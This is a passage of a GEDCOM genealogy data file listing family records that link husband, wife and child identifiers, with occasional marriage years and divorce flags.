FAM\n1 HUSB @I1913@\n1 WIFE @I1956@\n1 CHIL @I1957@\n1 CHIL @I1958@\n1 CHIL @I1911@\n1 CHIL @I1959@\n0 @F803@ FAM\n1 HUSB @I1914@\n1 CHIL @I361@\n0 @F804@ FAM\n1 HUSB @I1915@\n1 WIFE @I1916@\n1 CHIL @I1917@\n1 CHIL @I1914@\n0 @F805@ FAM\n1 HUSB @I1918@\n1 CHIL @I1916@\n0 @F806@ FAM\n1 HUSB @I1843@\n1 WIFE @I1842@\n1 CHIL @I1844@\n0 @F807@ FAM\n1 HUSB @I1919@\n1 WIFE @I2216@\n1 CHIL @I1909@\n0 @F808@ FAM\n1 HUSB @I1912@\n1 CHIL @I1919@\n0 @F809@ FAM\n1 HUSB @I1920@\n1 WIFE @I1921@\n1 CHIL @I1912@\n0 @F810@ FAM\n1 HUSB @I1922@\n1 WIFE @I1923@\n1 CHIL @I1921@\n0 @F811@ FAM\n1 HUSB @I1924@\n1 WIFE @I1925@\n1 CHIL @I1923@\n0 @F812@ FAM\n1 HUSB @I1926@\n1 WIFE @I1927@\n1 CHIL @I1925@\n0 @F813@ FAM\n1 HUSB @I1928@\n1 WIFE @I1539@\n1 CHIL @I1927@\n0 @F814@ FAM\n1 HUSB @I1930@\n1 WIFE @I1931@\n1 CHIL @I1928@\n0 @F815@ FAM\n1 HUSB @I1932@\n1 WIFE @I1931@\n1 CHIL @I1933@\n0 @F816@ FAM\n1 HUSB @I1934@\n1 CHIL @I1931@\n0 @F817@ FAM\n1 HUSB @I1935@\n1 CHIL @I1934@\n1 CHIL @I2185@\n0 @F818@ FAM\n1 HUSB @I1936@\n1 CHIL @I1935@\n0 @F819@ FAM\n1 HUSB @I1937@\n1 CHIL @I1936@\n0 @F820@ FAM\n1 HUSB @I1938@\n1 CHIL @I1939@\n1 CHIL @I1937@\n0 @F821@ FAM\n1 HUSB @I1940@\n1 WIFE @I1941@\n1 CHIL @I1942@\n1 CHIL @I1943@\n1 CHIL @I1944@\n0 @F822@ FAM\n1 HUSB @I1939@\n1 CHIL @I1940@\n0 @F823@ FAM\n1 HUSB @I1945@\n1 CHIL @I1947@\n0 @F824@ FAM\n1 HUSB @I1943@\n1 CHIL @I1945@\n1 CHIL @I1946@\n0 @F825@ FAM\n1 HUSB @I1944@\n1 CHIL @I1948@\n0 @F826@ FAM\n1 HUSB @I1948@\n1 CHIL @I1949@\n0 @F827@ FAM\n1 HUSB @I1950@\n1 CHIL @I1951@\n0 @F828@ FAM\n1 HUSB @I1949@\n1 CHIL @I1950@\n0 @F829@ FAM\n1 HUSB @I1951@\n1 CHIL @I1952@\n0 @F830@ FAM\n1 HUSB @I1953@\n1 CHIL @I1913@\n0 @F831@ FAM\n1 HUSB @I1952@\n1 WIFE @I1954@\n1 CHIL @I1955@\n1 CHIL @I1953@\n0 @F832@ FAM\n1 HUSB @I1961@\n1 CHIL @I1960@\n0 @F833@ FAM\n1 HUSB @I1957@\n1 CHIL @I1961@\n0 @F834@ FAM\n1 HUSB @I1964@\n1 WIFE @I1965@\n1 CHIL @I1792@\n1 CHIL @I1982@\n1 CHIL @I1985@\n1 CHIL @I1986@\n1 CHIL @I1987@\n0 @F835@ FAM\n1 HUSB @I1966@\n1 WIFE @I1967@\n1 CHIL @I1968@\n1 CHIL @I1969@\n1 CHIL @I1971@\n1 CHIL @I1977@\n1 CHIL @I1972@\n1 CHIL @I1964@\n0 @F836@ FAM\n1 HUSB @I1969@\n1 WIFE @I1970@\n0 @F837@ FAM\n1 HUSB @I1973@\n1 WIFE @I1974@\n1 CHIL @I1966@\n1 CHIL @I1975@\n0 @F838@ FAM\n1 HUSB @I1966@\n1 WIFE @I1970@\n0 @F839@ FAM\n1 HUSB @I1976@\n1 CHIL @I1967@\n0 @F840@ FAM\n1 HUSB @I1972@\n1 CHIL @I1978@\n1 CHIL @I1979@\n0 @F841@ FAM\n1 HUSB @I1980@\n1 WIFE @I1977@\n0 @F842@ FAM\n1 HUSB @I1981@\n1 CHIL @I1965@\n0 @F843@ FAM\n1 HUSB @I1982@\n1 CHIL @I1983@\n1 CHIL @I1984@\n0 @F844@ FAM\n1 HUSB @I1988@\n1 WIFE @I1987@\n0 @F845@ FAM\n1 HUSB @I1989@\n1 WIFE @I1985@\n0 @F846@ FAM\n1 HUSB @I1929@\n1 WIFE @I1768@\n1 CHIL @I1990@\n0 @F847@ FAM\n1 HUSB @I1991@\n1 CHIL @I1992@\n0 @F848@ FAM\n1 HUSB @I1992@\n1 CHIL @I1993@\n1 CHIL @I1994@\n0 @F849@ FAM\n1 HUSB @I1995@\n1 CHIL @I1991@\n1 CHIL @I2019@\n0 @F850@ FAM\n1 HUSB @I1996@\n1 CHIL @I1995@\n0 @F851@ FAM\n1 HUSB @I1997@\n1 CHIL @I1996@\n0 @F852@ FAM\n1 HUSB @I1998@\n1 CHIL @I1997@\n0 @F853@ FAM\n1 HUSB @I1999@\n1 CHIL @I1998@\n0 @F854@ FAM\n1 HUSB @I2000@\n1 CHIL @I1999@\n0 @F855@ FAM\n1 HUSB @I2001@\n1 CHIL @I2000@\n0 @F856@ FAM\n1 HUSB @I2002@\n1 CHIL @I2001@\n0 @F857@ FAM\n1 HUSB @I2003@\n1 CHIL @I2002@\n0 @F858@ FAM\n1 HUSB @I2004@\n1 CHIL @I2003@\n0 @F859@ FAM\n1 HUSB @I2005@\n1 CHIL @I2004@\n0 @F860@ FAM\n1 HUSB @I2006@\n1 CHIL @I2005@\n0 @F861@ FAM\n1 HUSB @I2007@\n1 CHIL @I2006@\n0 @F862@ FAM\n1 HUSB @I2008@\n1 CHIL @I2007@\n0 @F863@ FAM\n1 HUSB @I2009@\n1 CHIL @I2008@\n0 @F864@ FAM\n1 HUSB @I2010@\n1 CHIL @I2009@\n0 @F865@ FAM\n1 HUSB @I2011@\n1 CHIL @I2010@\n0 @F866@ FAM\n1 HUSB @I2012@\n1 CHIL @I2011@\n0 @F867@ FAM\n1 HUSB @I2013@\n1 CHIL @I2012@\n0 @F868@ FAM\n1 HUSB @I2014@\n1 CHIL @I2013@\n0 @F869@ FAM\n1 HUSB @I2015@\n1 CHIL @I2014@\n0 @F870@ FAM\n1 HUSB @I2016@\n1 CHIL @I2015@\n0 @F871@ FAM\n1 HUSB @I2017@\n1 CHIL @I2016@\n0 @F872@ FAM\n1 HUSB @I2018@\n1 CHIL @I2017@\n0 @F873@ FAM\n1 WIFE @I2019@\n1 CHIL @I2020@\n1 CHIL @I2021@\n0 @F874@ FAM\n1 HUSB @I1994@\n1 CHIL @I2022@\n1 CHIL @I2023@\n0 @F875@ FAM\n1 HUSB @I2022@\n1 CHIL @I2024@\n0 @F876@ FAM\n1 HUSB @I2026@\n1 CHIL @I2025@\n0 @F877@ FAM\n1 HUSB @I2027@\n1 CHIL @I2026@\n0 @F878@ FAM\n1 HUSB @I2028@\n1 CHIL @I2027@\n0 @F879@ FAM\n1 HUSB @I2023@\n1 CHIL @I2028@\n0 @F880@ FAM\n1 HUSB @I2024@\n1 CHIL @I2029@\n1 CHIL @I2030@\n1 CHIL @I2031@\n1 CHIL @I2032@\n0 @F881@ FAM\n1 HUSB @I2029@\n1 CHIL @I2033@\n0 @F882@ FAM\n1 HUSB @I2030@\n1 WIFE @I2034@\n1 DIV Y\n0 @F883@ FAM\n1 HUSB @I2030@\n1 WIFE @I2035@\n0 @F884@ FAM\n1 HUSB @I2036@\n1 WIFE @I2032@\n0 @F885@ FAM\n1 HUSB @I1993@\n1 CHIL @I2037@\n0 @F886@ FAM\n1 HUSB @I2037@\n1 CHIL @I2038@\n1 CHIL @I2039@\n1 CHIL @I2040@\n0 @F887@ FAM\n1 HUSB @I2038@\n1 CHIL @I2041@\n0 @F888@ FAM\n1 HUSB @I2041@\n1 CHIL @I2042@\n1 CHIL @I2043@\n0 @F889@ FAM\n1 HUSB @I2045@\n1 CHIL @I2044@\n0 @F890@ FAM\n1 HUSB @I2039@\n1 CHIL @I2045@\n0 @F891@ FAM\n1 HUSB @I2047@\n1 CHIL @I2046@\n1 CHIL @I2050@\n1 CHIL @I2051@\n1 CHIL @I2052@\n0 @F892@ FAM\n1 HUSB @I2048@\n1 CHIL @I2047@\n0 @F893@ FAM\n1 HUSB @I2046@\n1 WIFE @I2049@\n0 @F894@ FAM\n1 HUSB @I2053@\n1 WIFE @I2052@\n0 @F895@ FAM\n1 HUSB @I2054@\n1 CHIL @I1973@\n0 @F896@ FAM\n1 HUSB @I2055@\n1 CHIL @I2054@\n0 @F897@ FAM\n1 HUSB @I2056@\n1 CHIL @I2055@\n0 @F898@ FAM\n1 HUSB @I2050@\n1 CHIL @I2056@\n0 @F899@ FAM\n1 HUSB @I2040@\n1 CHIL @I2048@\n0 @F900@ FAM\n1 HUSB @I2057@\n1 CHIL @I1230@\n0 @F901@ FAM\n1 HUSB @I2058@\n1 WIFE @I1410@\n1 CHIL @I1595@\n0 @F902@ FAM\n1 HUSB @I2059@\n1 CHIL @I1418@\n0 @F903@ FAM\n1 HUSB @I2060@\n1 CHIL @I1347@\n0 @F904@ FAM\n1 HUSB @I2061@\n1 WIFE @I1347@\n0 @F905@ FAM\n1 HUSB @I2062@\n1 CHIL @I1416@\n0 @F906@ FAM\n1 HUSB @I2063@\n1 CHIL @I1328@\n0 @F907@ FAM\n1 HUSB @I2064@\n1 WIFE @I1328@\n0 @F908@ FAM\n1 HUSB @I2062@\n1 CHIL @I1337@\n0 @F909@ FAM\n1 HUSB @I2066@\n1 WIFE @I2065@\n0 @F910@ FAM\n1 HUSB @I2067@\n1 CHIL @I2066@\n0 @F911@ FAM\n1 HUSB @I2068@\n1 CHIL @I2067@\n0 @F912@ FAM\n1 HUSB @I2069@\n1 CHIL @I1343@\n0 @F913@ FAM\n1 HUSB @I2070@\n1 WIFE @I1603@\n0 @F914@ FAM\n1 HUSB @I1332@\n1 CHIL @I1222@\n0 @F915@ FAM\n1 HUSB @I2075@\n1 WIFE @I2074@\n1 CHIL @I1414@\n1 CHIL @I1220@\n1 CHIL @I2537@\n1 MARR\n2 DATE 17 JUL 1385\n0 @F916@ FAM\n1 HUSB @I2076@\n1 WIFE @I1331@\n0 @F917@ FAM\n1 HUSB @I1437@\n1 WIFE @I2077@\n0 @F918@ FAM\n1 HUSB @I2078@\n1 CHIL @I2077@\n0 @F919@ FAM\n1 HUSB @I2080@\n1 WIFE @I2079@\n0 @F920@ FAM\n1 HUSB @I1335@\n1 WIFE @I2081@\n1 CHIL @I2083@\n1 CHIL @I2084@\n1 CHIL @I2085@\n1 CHIL @I2086@\n1 CHIL @I2087@\n1 CHIL @I2088@\n1 CHIL @I2089@\n1 CHIL @I2090@\n0 @F921@ FAM\n1 HUSB @I2082@\n1 CHIL @I2081@\n0 @F922@ FAM\n1 HUSB @I2091@\n1 WIFE @I2086@\n0 @F923@ FAM\n1 HUSB @I2092@\n1 WIFE @I2086@\n0 @F924@ FAM\n1 HUSB @I2093@\n1 WIFE @I2087@\n0 @F925@ FAM\n1 HUSB @I2094@\n1 WIFE @I2087@\n0 @F926@ FAM\n1 HUSB @I2095@\n1 WIFE @I2088@\n0 @F927@ FAM\n1 HUSB @I2096@\n1 WIFE @I2089@\n0 @F928@ FAM\n1 HUSB @I2097@\n1 WIFE @I2089@\n0 @F929@ FAM\n1 HUSB @I2098@\n1 WIFE @I2090@\n0 @F930@ FAM\n1 HUSB @I2101@\n1 CHIL @I1434@\n0 @F931@ FAM\n1 HUSB @I2099@\n1 WIFE @I2337@\n1 CHIL @I2338@\n1 CHIL @I2339@\n1 CHIL @I848@\n0 @F932@ FAM\n1 HUSB @I1436@\n1 WIFE @I2102@\n0 @F933@ FAM\n1 HUSB @I2103@\n1 CHIL @I2102@\n0 @F934@ FAM\n1 HUSB @I2104@\n1 WIFE @I1428@\n1 CHIL @I2334@\n0 @F935@ FAM\n1 HUSB @I2105@\n1 WIFE @I1427@\n0 @F936@ FAM\n1 HUSB @I2108@\n1 WIFE @I2106@\n1 CHIL @I2109@\n1 CHIL @I2110@\n0 @F937@ FAM\n1 HUSB @I2110@\n1 WIFE @I2111@\n0 @F938@ FAM\n1 HUSB @I2109@\n1 WIFE @I2112@\n1 CHIL @I1436@\n1 CHIL @I2396@\n1 CHIL @I2397@\n1 CHIL @I2398@\n0 @F939@ FAM\n1 HUSB @I2113@\n1 CHIL @I2112@\n0 @F940@ FAM\n1 HUSB @I765@\n1 WIFE @I769@\n1 CHIL @I2415@\n0 @F941@ FAM\n1 HUSB @I2120@\n1 CHIL @I769@\n0 @F942@ FAM\n1 HUSB @I768@\n1 WIFE @I2121@\n0 @F943@ FAM\n1 HUSB @I2122@\n1 WIFE @I2118@\n0 @F944@ FAM\n1 HUSB @I2127@\n1 CHIL @I707@\n0 @F945@ FAM\n1 HUSB @I2129@\n1 WIFE @I2128@\n0 @F946@ FAM\n1 HUSB @I2130@\n1 WIFE @I951@\n0 @F947@ FAM\n1 HUSB @I2131@\n1 WIFE @I2416@\n1 CHIL @I2130@\n1 CHIL @I2421@\n1 MARR\n2 DATE        1649\n0 @F948@ FAM\n1 HUSB @I2131@\n1 WIFE @I896@\n1 CHIL @I1420@\n1 MARR\n2 DATE        1621\n0 @F949@ FAM\n1 HUSB @I870@\n1 WIFE @I2133@\n1 CHIL @I2136@\n1 MARR\n2 DATE        1543\n0 @F950@ FAM\n1 HUSB @I870@\n1 WIFE @I2134@\n0 @F951@ FAM\n1 HUSB @I870@\n1 WIFE @I2135@\n1 CHIL @I2132@\n1 MARR\n2 DATE        1570\n0 @F952@ FAM\n1 HUSB @I2137@\n1 CHIL @I721@\n0 @F953@ FAM\n1 HUSB @I2138@\n1 CHIL @I2137@\n0 @F954@ FAM\n1 HUSB @I2139@\n1 CHIL @I724@\n0 @F955@ FAM\n1 HUSB @I2140@\n1 WIFE @I2141@\n1 CHIL @I342@\n0 @F956@ FAM\n1 HUSB @I2142@\n1 WIFE @I2143@\n1 CHIL @I332@\n0 @F957@ FAM\n1 HUSB @I2144@\n1 CHIL @I762@\n0 @F958@ FAM\n1 HUSB @I2145@\n1 WIFE @I762@\n0 @F959@ FAM\n1 HUSB @I2147@\n1 WIFE @I2148@\n1 CHIL @I131@\n0 @F960@ FAM\n1 HUSB @I2149@\n1 WIFE @I99@\n0 @F961@ FAM\n1 HUSB @I2150@\n1 WIFE @I98@\n0 @F962@ FAM\n1 HUSB @I2151@\n1 CHIL @I126@\n0 @F963@ FAM\n1 HUSB @I504@\n1 WIFE @I2156@\n1 CHIL @I2158@\n1 CHIL @I2159@\n1 DIV Y\n0 @F964@ FAM\n1 HUSB @I504@\n1 WIFE @I2157@\n0 @F965@ FAM\n1 HUSB @I2160@\n1 CHIL @I494@\n0 @F966@ FAM\n1 HUSB @I2161@\n1 CHIL @I408@\n0 @F967@ FAM\n1 HUSB @I2162@\n1 WIFE @I509@\n1 DIV Y\n1 MARR\n2 DATE        1941\n0 @F968@ FAM\n1 HUSB @I2163@\n1 WIFE @I509@\n1 CHIL @I2165@\n1 DIV Y\n1 MARR\n2 DATE        1957\n0 @F969@ FAM\n1 HUSB @I2164@\n1 WIFE @I509@\n1 MARR\n2 DATE        1965\n0 @F970@ FAM\n1 HUSB @I2166@\n1 WIFE @I1959@\n1 CHIL @I2167@\n0 @F971@ FAM\n1 HUSB @I2168@\n1 WIFE @I2167@\n1 CHIL @I2169@\n0 @F972@ FAM\n1 HUSB @I2169@\n1 CHIL @I2170@\n0 @F973@ FAM\n1 HUSB @I2170@\n1 CHIL @I2171@\n0 @F974@ FAM\n1 HUSB @I2171@\n1 CHIL @I2172@\n0 @F975@ FAM\n1 HUSB @I2173@\n1 WIFE @I2172@\n1 CHIL @I2174@\n0 @F976@ FAM\n1 HUSB @I2174@\n1 CHIL @I1352@\n0 @F977@ FAM\n1 HUSB @I2175@\n1 CHIL @I2173@\n0 @F978@ FAM\n1 HUSB @I2176@\n1 CHIL @I2175@\n0 @F979@ FAM\n1 HUSB @I2177@\n1 CHIL @I2176@\n0 @F980@ FAM\n1 HUSB @I2178@\n1 WIFE @I2179@\n1 CHIL @I2177@\n0 @F981@ FAM\n1 HUSB @I2180@\n1 CHIL @I2179@\n0 @F982@ FAM\n1 HUSB @I2181@\n1 CHIL @I2180@\n0 @F983@ FAM\n1 HUSB @I2182@\n1 CHIL @I2181@\n0 @F984@ FAM\n1 HUSB @I2183@\n1 CHIL @I2182@\n0 @F985@ FAM\n1 HUSB @I2184@\n1 CHIL @I2183@\n0 @F986@ FAM\n1 HUSB @I2185@\n1 CHIL @I2184@\n0 @F987@ FAM\n1 HUSB @I2186@\n1 CHIL @I1918@\n0 @F988@ FAM\n1 HUSB @I2187@\n1 WIFE @I2188@\n1 CHIL @I2186@\n0 @F989@ FAM\n1 HUSB @I2189@\n1 WIFE @I2190@\n1 CHIL @I2188@\n0 @F990@ FAM\n1 HUSB @I2191@\n1 CHIL @I2190@\n0 @F991@ FAM\n1 HUSB @I2192@\n1 CHIL @I2191@\n0 @F992@ FAM\n1 HUSB @I2193@\n1 CHIL @I2192@\n0 @F993@ FAM\n1 HUSB @I2194@\n1 CHIL @I2193@\n0 @F994@ FAM\n1 HUSB @I2195@\n1 CHIL @I2194@\n0 @F995@ FAM\n1 HUSB @I2196@\n1 CHIL @I2195@\n0 @F996@ FAM\n1 HUSB @I2197@\n1 CHIL @I2196@\n0 @F997@ FAM\n1 HUSB @I2198@\n1 CHIL @I2197@\n0 @F998@ FAM\n1 HUSB @I2199@\n1 CHIL @I2198@\n0 @F999@ FAM\n1 HUSB @I2200@\n1 CHIL @I2199@\n0 @F1000@ FAM\n1 HUSB @I2201@\n1 CHIL @I2200@\n0 @F1001@ FAM\n1 HUSB @I2202@\n1 CHIL @I2201@\n0 @F1002@ FAM\n1 HUSB @I2203@\n1 CHIL @I2202@\n0 @F1003@ FAM\n1 HUSB @I2204@\n1 CHIL @I2203@\n0 @F1004@ FAM\n1 HUSB @I2205@\n1 CHIL @I2204@\n0 @F1005@ FAM\n1 HUSB @I2206@\n1 WIFE @I2207@\n1 CHIL @I2205@\n0 @F1006@ FAM\n1 HUSB @I2208@\n1 CHIL @I2206@\n0 @F1007@ FAM\n1 HUSB @I2209@\n1 CHIL @I2208@\n0 @F1008@ FAM\n1 HUSB @I2210@\n1 CHIL @I2209@\n0 @F1009@ FAM\n1 HUSB @I2211@\n1 CHIL @I2210@\n0 @F1010@ FAM\n1 HUSB @I2212@\n1 CHIL @I2211@\n1 CHIL @I2213@\n0 @F1011@ FAM\n1 HUSB @I2214@\n1 WIFE @I2213@\n1 CHIL @I2215@\n0 @F1012@ FAM\n1 HUSB @I2217@\n1 WIFE @I2218@\n1 CHIL @I2216@\n0 @F1013@ FAM\n1 HUSB @I2219@\n1 WIFE @I2220@\n1 CHIL @I2218@\n0 @F1014@ FAM\n1 HUSB @I2221@\n1 CHIL @I2220@\n1 CHIL @I2207@\n0 @F1015@ FAM\n1 HUSB @I2222@\n1 CHIL @I2221@\n0 @F1016@ FAM\n1 HUSB @I2223@\n1 CHIL @I2222@\n0 @F1017@ FAM\n1 HUSB @I2215@\n1 CHIL @I2223@\n0 @F1018@ FAM\n1 HUSB @I1514@\n1 WIFE @I2224@\n0 @F1019@ FAM\n1 HUSB @I2301@\n1 WIFE @I2302@\n1 CHIL @I779@\n0 @F1020@ FAM\n1 HUSB @I1511@\n1 WIFE @I2225@\n1 CHIL @I2237@\n0 @F1021@ FAM\n1 HUSB @I2226@\n1 CHIL @I2225@\n0 @F1022@ FAM\n1 HUSB @I1515@\n1 WIFE @I2227@\n1 CHIL @I2228@\n0 @F1023@ FAM\n1 HUSB @I2228@\n1 WIFE @I2229@\n1 CHIL @I2230@\n1 CHIL @I2231@\n1 CHIL @I1837@\n0 @F1024@ FAM\n1 HUSB @I2231@\n1 WIFE @I2232@\n1 CHIL @I1886@\n0 @F1025@ FAM\n1 HUSB @I1886@\n1 WIFE @I2233@\n1 CHIL @I1585@\n1 MARR\n2 DATE AFT    1238\n0 @F1026@ FAM\n1 HUSB @I2235@\n1 WIFE @I2234@\n1 CHIL @I2236@\n0 @F1027@ FAM\n1 HUSB @I2237@\n1 WIFE @I2238@\n0 @F1028@ FAM\n1 HUSB @I2239@\n1 WIFE @I2240@\n1 CHIL @I1511@\n1 CHIL @I2241@\n0 @F1029@ FAM\n1 HUSB @I2242@\n1 WIFE @I2243@\n1 CHIL @I2239@\n0 @F1030@ FAM\n1 HUSB @I2244@\n1 WIFE @I2245@\n1 CHIL @I2246@\n0 @F1031@ FAM\n1 HUSB @I2247@\n1 WIFE @I2245@\n0 @F1032@ FAM\n1 HUSB @I2248@\n1 CHIL @I2243@\n0 @F1033@ FAM\n1 HUSB @I2249@\n1 CHIL @I2248@\n0 @F1034@ FAM\n1 HUSB @I2250@\n1 CHIL @I2249@\n1 CHIL @I2253@\n0 @F1035@ FAM\n1 HUSB @I2251@\n1 CHIL @I2250@\n0 @F1036@ FAM\n1 HUSB @I2252@\n1 CHIL @I2251@\n0 @F1037@ FAM\n1 HUSB @I2253@\n1 CHIL @I2254@\n0 @F1038@ FAM\n1 HUSB @I2255@\n1 CHIL @I2245@\n0 @F1039@ FAM\n1 HUSB @I2254@\n1 CHIL @I2255@\n0 @F1040@ FAM\n1 HUSB @I2257@\n1 CHIL @I2256@\n0 @F1041@ FAM\n1 HUSB @I2258@\n1 CHIL @I2257@\n0 @F1042@ FAM\n1 HUSB @I2259@\n1 CHIL @I2258@\n0 @F1043@ FAM\n1 HUSB @I2260@\n1 CHIL @I2259@\n0 @F1044@ FAM\n1 HUSB @I2261@\n1 CHIL @I2252@\n1 CHIL @I2260@\n1 CHIL @I2262@\n0 @F1045@ FAM\n1 HUSB @I2263@\n1 WIFE @I2262@\n1 CHIL @I2264@\n0 @F1046@ FAM\n1 HUSB @I2265@\n1 CHIL @I2261@\n1 CHIL @I2266@\n0 @F1047@ FAM\n1 HUSB @I2267@\n1 CHIL @I1601@\n0 @F1048@ FAM\n1 HUSB @I2268@\n1 CHIL @I1598@\n0 @F1049@ FAM\n1 HUSB @I2269@\n1 CHIL @I1596@\n0 @F1050@ FAM\n1 HUSB @I2270@\n1 CHIL @I1327@\n0 @F1051@ FAM\n1 HUSB @I2271@\n1 WIFE @I1327@\n1 CHIL @I998@\n0 @F1052@ FAM\n1 HUSB @I2272@\n1 CHIL @I1218@\n0 @F1053@ FAM\n1 HUSB @I2273@\n1 WIFE @I1025@\n0 @F1054@ FAM\n1 HUSB @I2274@\n1 WIFE @I2549@\n1 CHIL @I1628@\n0 @F1055@ FAM\n1 HUSB @I2275@\n1 WIFE @I1019@\n0 @F1056@ FAM\n1 HUSB @I2276@\n1 WIFE @I995@\n0 @F1057@ FAM\n1 HUSB @I2277@\n1 CHIL @I1345@\n0 @F1058@ FAM\n1 HUSB @I2278@\n1 WIFE @I1345@\n0 @F1059@ FAM\n1 HUSB @I2279@\n1 CHIL @I1445@\n0 @F1060@ FAM\n1 HUSB @I2282@\n1 WIFE @I2281@\n0 @F1061@ FAM\n1 HUSB @I2286@\n1 WIFE @I2284@\n0 @F1062@ FAM\n1 HUSB @I2287@\n1 WIFE @I2284@\n0 @F1063@ FAM\n1 HUSB @I2288@\n1 WIFE @I2285@\n0 @F1064@ FAM\n1 HUSB @I2289@\n1 WIFE @I2285@\n0 @F1065@ FAM\n1 HUSB @I2290@\n1 WIFE @I2285@\n0 @F1066@ FAM\n1 HUSB @I2291@\n1 CHIL @I1413@\n0 @F1067@ FAM\n1 HUSB @I2292@\n1 WIFE @I1502@\n0 @F1068@ FAM\n1 HUSB @I2293@\n1 WIFE @I1502@\n0 @F1069@ FAM\n1 HUSB @I2295@\n1 WIFE @I2294@\n0 @F1070@ FAM\n1 HUSB @I2297@\n1 WIFE @I2296@\n0 @F1071@ FAM\n1 HUSB @I2298@\n1 WIFE @I2296@\n0 @F1072@ FAM\n1 HUSB @I1338@\n1 WIFE @I2296@\n0 @F1073@ FAM\n1 HUSB @I2299@\n1 CHIL @I1444@\n0 @F1074@ FAM\n1 HUSB @I2300@\n1 WIFE @I1444@\n1 DIV Y\n0 @F1075@ FAM\n1 HUSB @I2303@\n1 WIFE @I2304@\n1 CHIL @I2301@\n0 @F1076@ FAM\n1 HUSB @I2305@\n1 WIFE @I2306@\n1 CHIL @I2304@\n0 @F1077@ FAM\n1 HUSB @I2307@\n1 WIFE @I2308@\n1 CHIL @I2305@\n0 @F1078@ FAM\n1 HUSB @I2310@\n1 WIFE @I2311@\n1 CHIL @I2312@\n1 CHIL @I2313@\n1 CHIL @I2314@\n1 CHIL @I869@\n1 CHIL @I2315@\n1 CHIL @I2316@\n1 CHIL @I2317@\n1 CHIL @I2318@\n0 @F1079@ FAM\n1 HUSB @I2312@\n1 WIFE @I2319@\n0 @F1080@ FAM\n1 HUSB @I2320@\n1 WIFE @I2319@\n0 @F1081@ FAM\n1 HUSB @I2313@\n1 WIFE @I2321@\n1 CHIL @I2324@\n0 @F1082@ FAM\n1 HUSB @I2313@\n1 WIFE @I2322@\n0 @F1083@ FAM\n1 HUSB @I2313@\n1 WIFE @I2323@\n0 @F1084@ FAM\n1 HUSB @I2314@\n1 WIFE @I2325@\n0 @F1085@ FAM\n1 HUSB @I2326@\n1 WIFE @I2325@\n0 @F1086@ FAM\n1 HUSB @I2327@\n1 WIFE @I2316@\n0 @F1087@ FAM\n1 HUSB @I2328@\n1 WIFE @I2317@\n0 @F1088@ FAM\n1 HUSB @I2329@\n1 WIFE @I2318@\n0 @F1089@ FAM\n1 HUSB @I2315@\n1 WIFE @I2330@\n0 @F1090@ FAM\n1 HUSB @I2315@\n1 WIFE @I2331@\n0 @F1091@ FAM\n1 HUSB @I2332@\n1 WIFE @I2106@\n1 DIV Y\n0 @F1092@ FAM\n1 HUSB @I2333@\n1 WIFE @I2107@\n0 @F1093@ FAM\n1 HUSB @I2335@\n1 WIFE @I2334@\n0 @F1094@ FAM\n1 HUSB @I2104@\n1 WIFE @I2336@\n0 @F1095@ FAM\n1 HUSB @I2340@\n1 WIFE @I2339@\n1 CHIL @I2394@\n1 CHIL @I2403@\n0 @F1096@ FAM\n1 HUSB @I2341@\n1 WIFE @I2342@\n1 CHIL @I2343@\n1 CHIL @I2337@\n1 CHIL @I857@\n0 @F1097@ FAM\n1 HUSB @I2343@\n1 WIFE @I2344@\n0 @F1098@ FAM\n1 HUSB @I2343@\n1 WIFE @I2345@\n1 CHIL @I2355@\n1 CHIL @I2356@\n1 CHIL @I2357@\n0 @F1099@ FAM\n1 HUSB @I857@\n1 WIFE @I2346@\n0 @F1100@ FAM\n1 HUSB @I2341@\n1 WIFE @I2347@\n1 CHIL @I2348@\n1 CHIL @I2349@\n1 CHIL @I2350@\n0 @F1101@ FAM\n1 HUSB @I2348@\n1 WIFE @I2351@\n0 @F1102@ FAM\n1 HUSB @I2348@\n1 WIFE @I2352@\n0 @F1103@ FAM\n1 HUSB @I2353@\n1 WIFE @I2349@\n0 @F1104@ FAM\n1 HUSB @I2354@\n1 WIFE @I2350@\n0 @F1105@ FAM\n1 HUSB @I2355@\n1 WIFE @I2358@\n1 CHIL @I2359@\n1 CHIL @I2360@\n1 CHIL @I2361@\n1 CHIL @I2362@\n1 CHIL @I2363@\n0 @F1106@ FAM\n1 HUSB @I2364@\n1 WIFE @I2356@\n0 @F1107@ FAM\n1 HUSB @I2357@\n1 WIFE @I2365@\n0 @F1108@ FAM\n1 HUSB @I2359@\n1 WIFE @I2366@\n1 CHIL @I2367@\n0 @F1109@ FAM\n1 HUSB @I2367@\n1 WIFE @I2368@\n1 CHIL @I2369@\n0 @F1110@ FAM\n1 HUSB @I2369@\n1 WIFE @I2370@\n0 @F1111@ FAM\n1 HUSB @I2359@\n1 WIFE @I2371@\n1 CHIL @I2372@\n1 CHIL @I2387@\n0 @F1112@ FAM\n1 HUSB @I2372@\n1 WIFE @I2373@\n0 @F1113@ FAM\n1 HUSB @I2372@\n1 WIFE @I2374@\n1 CHIL @I2375@\n1 CHIL @I2376@\n1 CHIL @I2377@\n1 CHIL @I2378@\n1 CHIL @I2379@\n0 @F1114@ FAM\n1 HUSB @I2375@\n1 WIFE @I2380@\n0 @F1115@ FAM\n1 HUSB @I2376@\n1 WIFE @I2381@\n0 @F1116@ FAM\n1 HUSB @I2377@\n1 WIFE @I2382@\n0 @F1117@ FAM\n1 HUSB @I2383@\n1 WIFE @I2382@\n0 @F1118@ FAM\n1 HUSB @I2384@\n1 WIFE @I2378@\n0 @F1119@ FAM\n1 HUSB @I2385@\n1 WIFE @I2379@\n1 DIV Y\n0 @F1120@ FAM\n1 HUSB @I2386@\n1 WIFE @I2379@\n0 @F1121@ FAM\n1 HUSB @I2387@\n1 WIFE @I2388@\n0 @F1122@ FAM\n1 HUSB @I2108@\n1 WIFE @I2389@\n0 @F1123@ FAM\n1 HUSB @I2108@\n1 WIFE @I2390@\n0 @F1124@ FAM\n1 HUSB @I2391@\n1 WIFE @I2390@\n0 @F1125@ FAM\n1 HUSB @I2392@\n1 WIFE @I2393@\n1 CHIL @I2327@\n1 CHIL @I2108@\n1 CHIL @I2319@\n0 @F1126@ FAM\n1 HUSB @I2392@\n1 WIFE @I2395@\n1 DIV Y\n0 @F1127@ FAM\n1 HUSB @I2396@\n1 WIFE @I2399@\n0 @F1128@ FAM\n1 HUSB @I2400@\n1 WIFE @I2399@\n0 @F1129@ FAM\n1 HUSB @I2397@\n1 WIFE @I2401@\n0 @F1130@ FAM\n1 HUSB @I2397@\n1 WIFE @I2402@\n0 @F1131@ FAM\n1 HUSB @I2394@\n1 WIFE @I2404@\n0 @F1132@ FAM\n1 HUSB @I2405@\n1 WIFE @I2403@\n1 CHIL @I2406@\n1 CHIL @I2407@\n1 CHIL @I2331@\n1 